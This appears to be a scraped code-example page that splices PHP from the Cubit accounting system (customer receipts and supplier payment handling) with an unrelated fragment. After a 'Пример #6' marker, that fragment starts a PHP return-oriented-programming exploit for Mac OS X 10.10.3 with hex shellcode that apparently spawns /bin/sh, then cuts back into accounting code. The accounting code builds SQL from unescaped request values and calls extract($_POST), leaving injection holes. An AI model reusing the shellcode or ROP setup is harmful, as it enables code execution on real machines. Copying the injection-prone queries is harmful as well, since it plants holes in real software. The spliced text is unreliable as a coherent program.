                    $sql = "\n\t\t\t\t\t\tUPDATE \"{$inv['prd']}\".pinvoices \n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2)) \n\t\t\t\t\t\tWHERE invid = '{$invids[$key]}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    $sql = "\n\t\t\t\t\t\tUPDATE cubit.open_stmnt \n\t\t\t\t\t\tSET balance = (balance - {$paidamt[$key]}::numeric(16,2)) \n\t\t\t\t\t\tWHERE invid = '{$inv['invnum']}' AND div = '" . USER_DIV . "'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    // add payment to statement
                    $sql = "\n\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\tcusnum, invid, amount, date, \n\t\t\t\t\t\t\ttype, div, \n\t\t\t\t\t\t\tallocation_date, docref, allocation_balance\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', '" . ($paidamt[$key] - $stock_setamt[$key]) * -1 . "', '{$sdate}', \n\t\t\t\t\t\t\t'Payment for POS Invoice No. {$inv['invnum']}', '" . USER_DIV . "', \n\t\t\t\t\t\t\t'{$inv['odate']}', '{$reference}', '" . abs(($paidamt[$key] - $stock_setamt[$key]) * -1) . "'\n\t\t\t\t\t\t)";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    #record the settlement discount on the statement
                    if ($stock_setamt[$key] > 0) {
                        $sql = "\n\t\t\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\t\t\tcusnum, invid, \n\t\t\t\t\t\t\t\tamount, date, \n\t\t\t\t\t\t\t\ttype, \n\t\t\t\t\t\t\t\tdiv, allocation_date, docref, allocation_balance\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$cus['cusnum']}', '{$inv['invnum']}', \n\t\t\t\t\t\t\t\t'" . ($stock_setamt[$key] - $stock_setamt[$key] * 2) . "', '{$sdate}', \n\t\t\t\t\t\t\t\t'Settlement Discount for Invoice No.{$inv['invnum']} Ref. {$refnum}', \n\t\t\t\t\t\t\t\t'" . USER_DIV . "', '{$inv['odate']}', '{$reference}', '" . abs($stock_setamt[$key] - $stock_setamt[$key] * 2) . "'\n\t\t\t\t\t\t\t)";
                        $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    }
                    custledger($cus['cusnum'], $bank_acc, $sdate, $inv['invnum'], "Payment for POS Invoice No. {$inv['invnum']}", $paidamt[$key], "c");
                    //recordCT($paidamt[$key], $cus['cusnum'],"0",$accdate);
                    $rinvids .= "|{$invids[$key]}";
                    $amounts .= "|{$paidamt[$key]}";
                    $invprds .= "|{$inv['prd']}";
                    $rages .= "|0";
                    $invidsers .= " - {$inv['invnum']}";
                    $setamts .= "|{$stock_setamt[$key]}";
                }
            }
        }
        if (open()) {
            db_conn('cubit');
            $Sl = "SELECT * FROM cubit.open_stmnt WHERE balance>0 AND cusnum='{$cusid}' ORDER BY date";
            $Ri = db_exec($Sl) or errDie("Unable to get open items.");
            //$open_out=$out;
            $ox = "";
            $i = 0;
            while ($od = pg_fetch_array($Ri)) {
                $oid = $od['id'];
                if (!isset($open_amount[$oid]) || $open_amount[$oid] == 0) {
                    continue;
                }
                $ox .= "\n\t\t\t\t\t<input type='hidden' size='20' name='open[{$oid}]' value='{$oid}'>\n\t\t\t\t\t<input type='hidden' name='open_amount[{$oid}]' value='{$open_amount[$oid]}'>\n\t\t\t\t\t<tr bgcolor='" . bgcolor($i) . "'>\n\t\t\t\t\t\t<td>{$od['type']}</td>\n\t\t\t\t\t\t<td>" . CUR . " {$od['balance']}</td>\n\t\t\t\t\t\t<td>{$od['date']}</td>\n\t\t\t\t\t\t<td>" . CUR . " {$open_amount[$oid]}</td>\n\t\t\t\t\t</tr>";
                $sql = "\n\t\t\t\t\tUPDATE cubit.open_stmnt \n\t\t\t\t\tSET balance = (balance - {$open_amount[$oid]} ::numeric(16,2)) \n\t\t\t\t\tWHERE id = '{$oid}' AND div = '" . USER_DIV . "'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                // record the payment on the statement
                $sql = "\n\t\t\t\t\tINSERT INTO cubit.stmnt (\n\t\t\t\t\t\tcusnum, invid, amount, date, \n\t\t\t\t\t\ttype, div, allocation_date, docref, allocation_balance\n\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t'{$cus['cusnum']}', '0', '" . -$open_amount[$oid] . "', '{$sdate}', \n\t\t\t\t\t\t'Payment received', '" . USER_DIV . "', '{$accdate}', '{$reference}', '" . abs($open_amount[$oid]) . "'\n\t\t\t\t\t)";
                $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                custledger($cus['cusnum'], $bank_acc, $sdate, 0, "Payment received", $open_amount[$oid], "c");
                recordCT($open_amount[$oid], $cus['cusnum'], 0, $accdate);
            }
        }
        // record the payment record
        $cols = grp(m("bankid", $bankid), m("trantype", "deposit"), m("date", $sdate), m("name", "{$cus['cusname']} {$cus['surname']}"), m("descript", "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}"), m("cheqnum", $cheqnum), m("amount", $amt), m("banked", "no"), m("accinv", $dept["debtacc"]), m("cusnum", $cus["cusnum"]), m("rinvids", $rinvids), m("amounts", $amounts), m("invprds", $invprds), m("rages", $rages), m("reference", $reference), m("div", USER_DIV));
        $dbobj = new dbUpdate("cashbook", "cubit", $cols);
        $dbobj->run(DB_INSERT);
        $dbobj->free();
        $cashbook_id = pglib_lastid("cashbook", "cashid");
        writetrans($bank_acc, $dept['debtacc'], $accdate, $refnum, $amt, "Payment for Invoices {$invidsers} from customer {$cus['cusname']} {$cus['surname']}");
    }
    /* start moving invoices */
    // move invoices that are fully paid
    $sql = "SELECT * FROM cubit.invoices WHERE balance='0' AND printed = 'y' AND done = 'y' AND div = '" . USER_DIV . "'";
    $invbRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
    while ($x = pg_fetch_array($invbRslt)) {
        if (($prd = $x['prd']) == "0") {
            $prd = PRD_DB;
        }
        // move invoice
        $cols = grp(m("invid", $x["invid"]), m("invnum", $x["invnum"]), m("deptid", $x["deptid"]), m("cusnum", $x["cusnum"]), m("deptname", $x["deptname"]), m("cusacc", $x["cusacc"]), m("cusname", $x["cusname"]), m("surname", $x["surname"]), m("cusaddr", $x["cusaddr"]), m("cusvatno", $x["cusvatno"]), m("cordno", $x["cordno"]), m("ordno", $x["ordno"]), m("chrgvat", $x["chrgvat"]), m("terms", $x["terms"]), m("traddisc", $x["traddisc"]), m("salespn", $x["salespn"]), m("odate", $x["odate"]), m("delchrg", $x["delchrg"]), m("subtot", $x["subtot"]), m("vat", $x["vat"]), m("total", $x["total"]), m("age", $x["age"]), m("comm", $x["comm"]), m("discount", $x["discount"]), m("delivery", $x["delivery"]), m("docref", $x["docref"]), m("prd", $x["prd"]), m("delvat", $x["delvat"]), m("balance", 0), m("printed", "y"), m("done", "y"), m("username", USER_NAME), m("div", USER_DIV));
        $dbobj = new dbUpdate("invoices", $prd, $cols);
        $dbobj->run(DB_INSERT);
        $dbobj->free();
        // record movement
        $cols = grp(m("invtype", "inv"), m("invnum", $x["invnum"]), m("prd", $x["prd"]), m("docref", $x["docref"]), m("div", USER_DIV));
        $dbobj->setTable("movinv", "cubit");
        $dbobj->setOpt($cols);
        $dbobj->run();
        $dbobj->free();
        // move invoice items
        $inv_items = new dbSelect("inv_items", "cubit", grp(m("where", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)))));
        $inv_items->run();
        while ($xi = $inv_items->fetch_array()) {
            $xi['vatcode'] += 0;
            $xi['account'] += 0;
            $xi['del'] += 0;
            $cols = grp(m("invid", $x["invid"]), m("whid", $xi["whid"]), m("stkid", $xi["stkid"]), m("qty", $xi["qty"]), m("unitcost", $xi["unitcost"]), m("amt", $xi["amt"]), m("disc", $xi["disc"]), m("discp", $xi["discp"]), m("vatcode", $xi["vatcode"]), m("account", $xi["account"]), m("description", $xi["description"]), m("del", $xi["del"]), m("noted", $xi["noted"]), m("serno", $xi["serno"]), m("div", USER_DIV));
            $dbobj->setTable("inv_items", $prd);
            $dbobj->setOpt($cols);
            $dbobj->run();
            $dbobj->free();
        }
        /* remove invoice from cubit schema */
        $dbobj = new dbDelete("invoices", "cubit", wgrp(m("invid", $x["invid"]), m("div", USER_DIV)));
        $dbobj->run();
        $dbobj->setTable("inv_items", "cubit");
        $dbobj->run();
    }
    #do journal for the settlement discount here ... now ...
    if ($setamt > 0) {
        db_conn('core');
        #calculate the settlement vat ... and amt
        if (isset($setvat) and $setvat == 'inc') {
            db_connect();
            $get_vcode = "SELECT * FROM vatcodes WHERE id = '{$setvatcode}' LIMIT 1";
            $run_vcode = db_exec($get_vcode) or errDie("Unable to get vatcode informtion.");
            if (pg_numrows($run_vcode) < 1) {
                return "<li class='err'>Settlement Discount VAT Code Not Set.</li>";
            }
            $vd = pg_fetch_array($run_vcode);
            #vat inc ... recalculate the amts
            $setvatamt = sprint($setamt * ($vd['vat_amount'] / (100 + $vd['vat_amount'])));
            $setamt = sprint($setamt - $setvatamt);
            #process the vat amt ...
            writetrans($vatacc, $dept['debtacc'], $accdate, $refnum, $setvatamt, "VAT Received on Settlement Discount (Ref.{$refnum}) for Customer : {$cus['cusname']} {$cus['surname']}");
            vatr($vd['id'], $accdate, "OUTPUT", $vd['code'], $refnum, "VAT for Settlement Discount (Ref.{$refnum}) for Customer : {$cus['cusname']} {$cus['surname']}", ($setamt + $setvatamt) * -1, $setvatamt * -1);
        } else {
            #no vat for set amt ... do nothing
            $setvatamt = 0;
        }
        custledger($cus['cusnum'], $setaccid, $accdate, $refnum, "Settlement Discount (Ref.{$refnum})", $setamt + $setvatamt, "c");
        writetrans($setaccid, $dept['debtacc'], $accdate, $refnum, $setamt, "Settlement Discount (Ref.{$refnum}) For {$cus['cusname']} {$cus['surname']}");
        db_connect();
        #record this paid settlement discount for reporting ...
        $settl_sql = "\n\t\t\tINSERT INTO settlement_cus (\n\t\t\t\tcustomer, amt, setamt, setvatamt, setvat, setvatcode, tdate, sdate, refnum\n\t\t\t) VALUES (\n\t\t\t\t'{$cus['cusnum']}', '{$amt}', '{$setamt}', '{$setvatamt}', '{$setvat}', '{$setvatcode}', '{$accdate}', 'now', '{$refnum}'\n\t\t\t)";
        $run_settl = db_exec($settl_sql) or errDie("Unable to get debtor settlement information.");
    }
    //	$overpay = sprint ($amt - array_sum($paidamt));
    if (!isset($overpay) or $overpay < 0) {
        $overpay = 0.0;
    }
    if ($overpay > 0) {
        recordCT($overpay, $cus['cusnum'], 0, $accdate);
        $cols = grp(m("cusnum", $cus["cusnum"]), m("invid", 0), m("amount", -$overpay), m("date", $sdate), m("type", "Payment Received (Receipt " . pglib_lastid("cashbook", "cashid") . ")"), m("div", USER_DIV), m("allocation_date", $accdate), m("docref", $reference));
        $dbobj = new dbUpdate("stmnt", "cubit", $cols);
        $dbobj->run(DB_INSERT);
        $dbobj->free();
        custledger($cus['cusnum'], $bank_acc, $sdate, "PAYMENT", "Payment received.", $overpay, "c");
    }
    pglib_transaction("COMMIT") or errDie("Unable to commit a database transaction.", SELF);
    // status report
    //	$write = "
    //				<table ".TMPL_tblDflts." width='100%'>
    //					<tr>
    //						<th>Bank Receipt</th>
    //					</tr>
    //					<tr class='".bg_class()."'>
    //						<td>Bank Receipt added to cash book.</td>
    //					</tr>
    //				</table>
    //			";
    //
    //	$OUTPUT = "<center>
    //        <table width='90%'>
    //        <tr valign='top'>
    //        	<td width='50%'>$write</td>
    //	        <td align='center'>"
    //				.mkQuickLinks(
    //					ql("bank-pay-add.php", "Add Bank Payment"),
    //					ql("bank-recpt-add.php", "Add Bank Receipt"),
    //					ql("bank-recpt-inv.php", "Add Customer Payment"),
    //					ql("cashbook-view.php", "View Cash Book")
    //				)."
    //			</td>
    //		</tr>
    //		</table>";
    //	return $OUTPUT;
    if (isset($print_recpt) and $print_recpt == "yes") {
        $showreceipt = "printer ('bank/bank-recpt-inv-print.php?recid={$cashbook_id}');";
    } else {
        $showreceipt = "";
    }
    return "\n\t\t<script>\n\t\t\tmove ('../customers-view.php?offset=0&fval=&filter=surname&nozerobal=yes');\n\t\t\t{$showreceipt}\n\t\t</script>";
}
function write_cheque($_POST)
{
    # get vars
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    # validate input
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 10, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 10, "Invalid amount.");
    $v->isOk($overpay, "float", 1, 15, "Invalid unallocated payment amount.");
    $v->isOk($setamt, "float", 1, 40, "Invalid Settlement Discount Amount.");
    $v->isOk($setvat, "string", 1, 10, "Invalid Settlement VAT Option.");
    $v->isOk($setvatcode, "string", 1, 40, "Invalid Settlement VAT code");
    $v->isOk($supid, "num", 1, 10, "Invalid supplier number.");
    $v->isOk($out1, "float", 0, 10, "Invalid paid amount(current).");
    $v->isOk($out2, "float", 0, 10, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 10, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 10, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 10, "Invalid paid amount(120).");
    $v->isOk($process_type, "string", 1, 6, "Invalid Payment Process Type.");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 20, "Invalid amount to be paid.");
        }
    }
    # display errors, if any
    if ($v->isError()) {
        $confirm = "";
        $errors = $v->getErrors();
        foreach ($errors as $e) {
            $confirm .= "<li class='err'>" . $e["msg"] . "</li>";
        }
        $confirm .= "<p><input type='button' onClick='JavaScript:history.back();' value='&laquo; Correct submission'>";
        return $confirm;
    }
    db_connect();
    $get_sup = "SELECT supname FROM suppliers WHERE supid = '{$supid}' LIMIT 1";
    $run_sup = db_exec($get_sup) or errDie("Unable to get supplier information.");
    if (pg_numrows($run_sup) < 1) {
        return "<li class='err'>Supplier information not found.</li>";
    }
    unset($_POST["process_type"]);
    $suparr = pg_fetch_array($run_sup);
    $sqlkey = "";
    $sqlval = "";
    $send_post_vars = "";
    foreach ($_POST as $key => $value) {
        if ($key == "all" or $key == "OUT1" or $key == "OUT2" or $key == "OUT3" or $key == "OUT4" or $key == "OUT5") {
            $newval = strtolower($key) . "_val";
            $_POST[$newval] = $value;
        }
        if (!is_array($value)) {
            $send_post_vars .= "<input type='hidden' name='{$key}' value='{$value}'>\n";
            if ($key == "all" or $key == "OUT1" or $key == "OUT2" or $key == "OUT3" or $key == "OUT4" or $key == "OUT5") {
                $key = $key . "_val";
            }
            $sqlkey .= "{$key},";
            $sqlval .= "'{$value}',";
        } else {
            $sqlkey .= "{$key},";
            $sqlval .= "'";
            foreach ($value as $valkey => $valvalue) {
                $send_post_vars .= "<input type='hidden' name='" . "{$key}" . "[{$valkey}]' value='{$valvalue}'>\n";
                $sqlval .= "{$valvalue}|";
            }
            $sqlval .= "',";
        }
    }
    $sqlkey = substr($sqlkey, 0, -1) . ",printed,done,supname";
    $sqlval = substr($sqlval, 0, -1) . ",'yes','no','{$suparr['supname']}'";
    $do_auto = FALSE;
    $do_manu = FALSE;
    $do_expo = FALSE;
    $pay_type = getCSetting("SUPP_PAY_TYPE");
    if (!isset($pay_type) or strlen($pay_type) < 1) {
        $pay_type = "cheq_man";
    }
    if ($pay_type == "cheq_man") {
        $do_manu = TRUE;
    } elseif ($pay_type == "export") {
        $do_expo = TRUE;
    } else {
        $do_auto = TRUE;
    }
    if ($process_type == "batch") {
        $write_sql = "INSERT INTO supp_payment_cheques ({$sqlkey}) VALUES ({$sqlval})";
        $run_sql = db_exec($write_sql) or errDie("Unable to record payment details.");
    } else {
        write($_POST);
    }
    $checkdate = getCSetting("SUPP_PAY_DATE");
    if (!isset($checkdate) or strlen($checkdate) < 1) {
        #no date ... insert
        $ins_sql = "\n\t\t\tINSERT INTO settings (\n\t\t\t\tconstant, label, value, type, datatype, minlen, maxlen, div, readonly\n\t\t\t) VALUES (\n\t\t\t\t'SUPP_PAY_DATE', 'Last Supplier Payment Date Used', '{$date}', 'general', 'string', '10', '10', '0', 'n'\n\t\t\t);";
        $run_ins = db_exec($ins_sql) or errDie("Unable to record supplier payment date information.");
    } else {
        $upd_sql = "UPDATE settings SET value = '{$date}' WHERE constant = 'SUPP_PAY_DATE'";
        $run_upd = db_exec($upd_sql) or errDie("Unable to update supplier payment date setting.");
    }
    header("Location: ../supp-view.php");
    //	$supname = "some name";
    #we have all the vars ... write to cheque table ...
    $write_sql = "INSERT INTO supp_payment_cheques ({$sqlkey}) VALUES ({$sqlval})";
    //			$run_sql = db_exec($write_sql) or errDie ("Unable to record payment details.");
}
Пример #6
0
<?php

// for Mac OS X 10.10.3, /usr/bin/php ROP
require "pm.php";
require "pm_rop_osx.php";
function w64($x)
{
    return ibuf($x, 8);
}
$all = alloc(4096);
$shellcode = hex2bin("415F4989E665488B0425080000004883C068488B204881EC08000100488D3D410000004883E4F0E82A000000488D3D3D0000004883E4F0FFD0488D3D2B0000004883E4F0E80D00000048C7C700000000FFD04C89F4C34889FE4831FF4883EF0241FFD7C373797374656D0065786974002F62696E2F736800");
$addr = rop_findexec();
nogc($addr);
$dlsym = getplt($addr, "_dlsym");
// get plt entry
nogc($dlsym);
$mmap_plt = getplt($addr, "_mmap");
// get plt entry
$mmap = r64(r32($mmap_plt + 2) + $mmap_plt + 6);
nogc($mmap);
$mprotect = gadget(findmhfromaddr($mmap), "b84a000002");
// find b84a000002      	movl	$0x200004a, %eax -> mprotect syscall
nogc($mprotect);
function ig($a, $b)
{
    return ibuf(gadget($a, $b), 8);
}
$arg1 = ig($addr, "5fc3");
$arg2 = ig($addr, "5ec3");
$arg3 = ig(findmhfromaddr($mmap), "5ac3");
$stack = $arg1;
function write($_POST)
{
    # get vars
    extract($_POST);
    if (isset($back)) {
        unset($_POST["back"]);
        return alloc($_POST);
    }
    $all = $all_val;
    $OUT1 = $out1_val;
    $OUT2 = $out2_val;
    $OUT3 = $out3_val;
    $OUT4 = $out4_val;
    $OUT5 = $out5_val;
    # validate input
    require_lib("validate");
    $v = new validate();
    $v->isOk($all, "num", 1, 1, "Invalid allocation.");
    $v->isOk($bankid, "num", 1, 30, "Invalid Bank Account.");
    $v->isOk($date, "date", 1, 14, "Invalid Date.");
    $v->isOk($out, "float", 1, 10, "Invalid out amount.");
    $v->isOk($descript, "string", 0, 255, "Invalid Description.");
    $v->isOk($reference, "string", 0, 50, "Invalid Reference Name/Number.");
    $v->isOk($cheqnum, "num", 0, 30, "Invalid Cheque number.");
    $v->isOk($amt, "float", 1, 10, "Invalid amount.");
    $v->isOk($overpay, "float", 1, 15, "Invalid unallocated payment amount.");
    $v->isOk($setamt, "float", 1, 40, "Invalid Settlement Discount Amount.");
    $v->isOk($setvat, "string", 1, 10, "Invalid Settlement VAT Option.");
    $v->isOk($setvatcode, "string", 1, 40, "Invalid Settlement VAT code");
    $v->isOk($supid, "num", 1, 10, "Invalid supplier number.");
    $v->isOk($out1, "float", 0, 10, "Invalid paid amount(current).");
    $v->isOk($out2, "float", 0, 10, "Invalid paid amount(30).");
    $v->isOk($out3, "float", 0, 10, "Invalid paid amount(60).");
    $v->isOk($out4, "float", 0, 10, "Invalid paid amount(90).");
    $v->isOk($out5, "float", 0, 10, "Invalid paid amount(120).");
    if (isset($invids)) {
        foreach ($invids as $key => $value) {
            $v->isOk($invids[$key], "num", 1, 50, "Invalid Invoice No.");
            $v->isOk($paidamt[$key], "float", 1, 20, "Invalid amount to be paid.");
        }
    }
    # display errors, if any
    if ($v->isError()) {
        $confirm = "";
        $errors = $v->getErrors();
        foreach ($errors as $e) {
            $confirm .= "<li class='err'>" . $e["msg"] . "</li>";
        }
        $confirm .= "<p><input type='button' onClick='JavaScript:history.back();' value='&laquo; Correct submission'>";
        die("{$confirm}");
    }
    # get hook account number
    core_connect();
    $sql = "SELECT * FROM bankacc WHERE accid = '{$bankid}' AND div = '" . USER_DIV . "' AND accid!=0";
    $rslt = db_exec($sql) or errDie("Unable to retrieve bank account link from Cubit", SELF);
    # check if link exists
    if (pg_numrows($rslt) < 1) {
        $Sl = "SELECT * FROM accounts WHERE accname='Cash on Hand'";
        $Rg = db_exec($Sl);
        if (pg_num_rows($Rg) < 1) {
            if ($bankid == 0) {
                return "There is no 'Cash on Hand' account, there was one, but its not there now, you must have deleted it, if you want to use cash functionality please create a 'Cash on Hand' account.";
            } else {
                return "Invalid bank acc.";
            }
        }
        $add = pg_fetch_array($Rg);
        $bank['accnum'] = $add['accid'];
    } else {
        $bank = pg_fetch_array($rslt);
    }
    db_connect();
    # Supplier name
    $sql = "SELECT supid,supno,supname,deptid FROM suppliers WHERE supid = '{$supid}' AND div = '" . USER_DIV . "'";
    $supRslt = db_exec($sql);
    $sup = pg_fetch_array($supRslt);
    db_conn("exten");
    # get debtors control account
    $sql = "SELECT credacc FROM departments WHERE deptid ='{$sup['deptid']}' AND div = '" . USER_DIV . "'";
    $deptRslt = db_exec($sql);
    $dept = pg_fetch_array($deptRslt);
    # date format
    $sdate = $date;
    $cheqnum = 0 + $cheqnum;
    $pay = "";
    $accdate = $sdate;
    # Paid invoices
    $invidsers = "";
    $rinvids = "";
    $amounts = "";
    $invprds = "";
    if ($overpay < 0) {
        $overpay = 0.0;
    }
    $refnum = getrefnum($accdate);
    db_conn('core');
    $Sl = "SELECT * FROM bankacc WHERE accid = '{$bankid}'";
    $Rx = db_exec($Sl) or errDie("Uanble to get bank acc.");
    if (pg_numrows($Rx) < 1) {
        return "Invalid bank acc.";
    }
    $link = pg_fetch_array($Rx);
    $link['accnum'] = $bank['accnum'];
    pglib_transaction("BEGIN");
    db_conn("cubit");
    #record this payment for the print script ...
    $save_sql = "\n\t\tINSERT INTO supp_payment_print (\n\t\t\tsupid, account, pay_date, sdate, refno, \n\t\t\tcheqno, total_amt, set_amt, overpay_amt, descript\n\t\t) VALUES (\n\t\t\t'{$supid}', '{$bankid}', '{$accdate}', 'now', '{$reference}', \n\t\t\t'{$cheqnum}', '{$amt}', '{$setamt}', '{$overpay}', '{$descript}'\n\t\t)";
    $run_save = db_exec($save_sql) or errDie("Unable to record information.");
    $supp_pay_id = pglib_lastid("supp_payment_print", "id");
    if ($all == 2) {
        $ids = "";
        $purids = "";
        $pamounts = "";
        $pdates = "";
        db_conn('cubit');
        # Update the supplier (make balance less)
        $sql = "UPDATE suppliers SET balance = (balance - '{$amt}'::numeric(13,2)) WHERE supid = '{$sup['supid']}' AND div = '" . USER_DIV . "'";
        $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
        # Begin updates
        if (isset($invids)) {
            db_connect();
            foreach ($invids as $key => $value) {
                # Get debt invoice info
                $sql = "SELECT id,pdate FROM suppurch WHERE purid ='{$invids[$key]}' AND div = '" . USER_DIV . "' ORDER BY balance LIMIT 1";
                $invRslt = db_exec($sql) or errDie("Unable to retrieve invoice details from database.");
                if (pg_numrows($invRslt) < 1) {
                    return "<li class='err'>Invalid Invoice Number.</li>";
                }
                $pur = pg_fetch_array($invRslt);
                # reduce the money that has been paid
                $sql = "UPDATE suppurch SET balance = (balance - '{$paidamt[$key]}'::numeric(13,2)) WHERE purid = '{$invids[$key]}' AND div = '" . USER_DIV . "' AND id='{$pur['id']}'";
                $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                $samount = $paidamt[$key] - $paidamt[$key] * 2;
                $Sl = "\n\t\t\t\t\t\tINSERT INTO sup_stmnt (\n\t\t\t\t\t\t\tsupid, amount, edate, \n\t\t\t\t\t\t\tdescript, ref, cacc, \n\t\t\t\t\t\t\tdiv\n\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t'{$sup['supid']}', '{$samount}', '{$sdate}', \n\t\t\t\t\t\t\t'Payment - Purchase: {$invids[$key]}', '{$cheqnum}', '{$bank['accnum']}', \n\t\t\t\t\t\t\t'" . USER_DIV . "'\n\t\t\t\t\t\t)";
                $Rs = db_exec($Sl) or errDie("Unable to insert statement record in Cubit.", SELF);
                #record the settlement discount on the statement
                #we record the total settlement below with a negative (correct?) amount ...
                #why do this here ??? -> so we have individual amount on statement ...
                #rather use this ... but with negative amount ... (fixed)
                if ($stock_setamt[$key] > 0) {
                    db_conn('core');
                    #get settlement accid
                    $get_setacc = "SELECT accid FROM accounts WHERE accname = 'Creditors Settlement Discount'";
                    $run_setacc = db_exec($get_setacc) or errDie("Unable to get settlement account information");
                    $setaccid = pg_fetch_result($run_setacc, 0, 0);
                    db_connect();
                    $sql = "\n\t\t\t\t\t\t\tINSERT INTO sup_stmnt (\n\t\t\t\t\t\t\t\tsupid, amount, edate, \n\t\t\t\t\t\t\t\tdescript, \n\t\t\t\t\t\t\t\tref, cacc, div\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$sup['supid']}', '" . sprint($stock_setamt[$key] - 2 * $stock_setamt[$key]) . "', '{$sdate}', \n\t\t\t\t\t\t\t\t'Settlement Discount for Invoice (Ref. {$reference}): {$invids[$key]}', \n\t\t\t\t\t\t\t\t'{$cheqnum}','{$setaccid}', '" . USER_DIV . "'\n\t\t\t\t\t\t\t)";
                    $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
                    # reduce the money (settlement) that has been paid
                    $sql = "UPDATE suppurch SET balance = (balance - '{$stock_setamt[$key]}'::numeric(13,2)) WHERE purid = '{$invids[$key]}' AND div = '" . USER_DIV . "' AND id='{$pur['id']}'";
                    $payRslt = db_exec($sql) or errDie("Unable to update Invoice information in Cubit.", SELF);
                    #record settlement discount in supp ledger
                    suppledger($sup['supid'], $setaccid, $sdate, $invids[$key], "Settlement Discount On Payment for Purchase No. {$invids[$key]}", $stock_setamt[$key], "d");
                }
                db_connect();
                # Update the supplier (make balance less)
                $sql = "UPDATE suppliers SET balance = (balance - '{$stock_setamt[$key]}'::numeric(13,2)) WHERE supid = '{$sup['supid']}' AND div = '" . USER_DIV . "'";
                $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
                #record purchase in supp ledger
                suppledger($sup['supid'], $bank['accnum'], $sdate, $invids[$key], "Payment for Purchase No. {$invids[$key]}", $paidamt[$key], "d");
                db_connect();
                # record the payment on the statement
                $ids .= "|{$pur['id']}";
                $purids .= "|{$invids[$key]}";
                $pamounts .= "|{$paidamt[$key]}";
                $pdates .= "|{$pur['pdate']}";
                #record this for printing ...
                $save_sql2 = "\n\t\t\t\t\t\t\tINSERT INTO supp_payment_print_items (\n\t\t\t\t\t\t\t\tpayment_id, supid, purchase, tdate, sdate, \n\t\t\t\t\t\t\t\tpaid_amt, sett_amt\n\t\t\t\t\t\t\t) VALUES (\n\t\t\t\t\t\t\t\t'{$supp_pay_id}', '{$supid}', '{$invids[$key]}', '{$date}', 'now', \n\t\t\t\t\t\t\t\t'{$paidamt[$key]}','{$stock_setamt[$key]}'\n\t\t\t\t\t\t\t)";
                $run_save2 = db_exec($save_sql2) or errDie("Unable to record item information.");
            }
        }
        $samount = $amt - $amt * 2;
        #handle overpay ...
        if ($overpay > 0) {
            $sql = "\n\t\t\t\tINSERT INTO sup_stmnt (\n\t\t\t\t\tsupid, amount, edate, \n\t\t\t\t\tdescript, \n\t\t\t\t\tref, cacc, div\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$sup['supid']}', '-{$overpay}', '{$sdate}', \n\t\t\t\t\t'Payment  (Ref. {$reference})', \n\t\t\t\t\t'{$cheqnum}','{$bank['accnum']}', '" . USER_DIV . "'\n\t\t\t\t)";
            $stmntRslt = db_exec($sql) or errDie("Unable to insert statement record in Cubit.", SELF);
            $sql = "UPDATE suppliers SET balance = (balance - '{$overpay}'::numeric(13,2)) WHERE supid = '{$sup['supid']}' AND div = '" . USER_DIV . "'";
            $rslt = db_exec($sql) or errDie("Unable to update invoice in Cubit.", SELF);
            #record general transaction in supp ledger
            suppledger($sup['supid'], $bank['accnum'], $sdate, "General Transaction", "Unallocated Payment for Supplier", $overpay, "d");
            db_connect();
            $sql = "\n\t\t\t\tINSERT INTO suppurch (\n\t\t\t\t\tsupid, purid, pdate, balance, div\n\t\t\t\t) VALUES (\n\t\t\t\t\t'{$sup['supid']}', '0', '{$date}', '-{$overpay}', '" . USER_DIV . "'\n\t\t\t\t)";
            $purcRslt = db_exec($sql) or errDie("Unable to update int purchases information in Cubit.", SELF);
        }
        db_conn('cubit');
        # Record the payment record
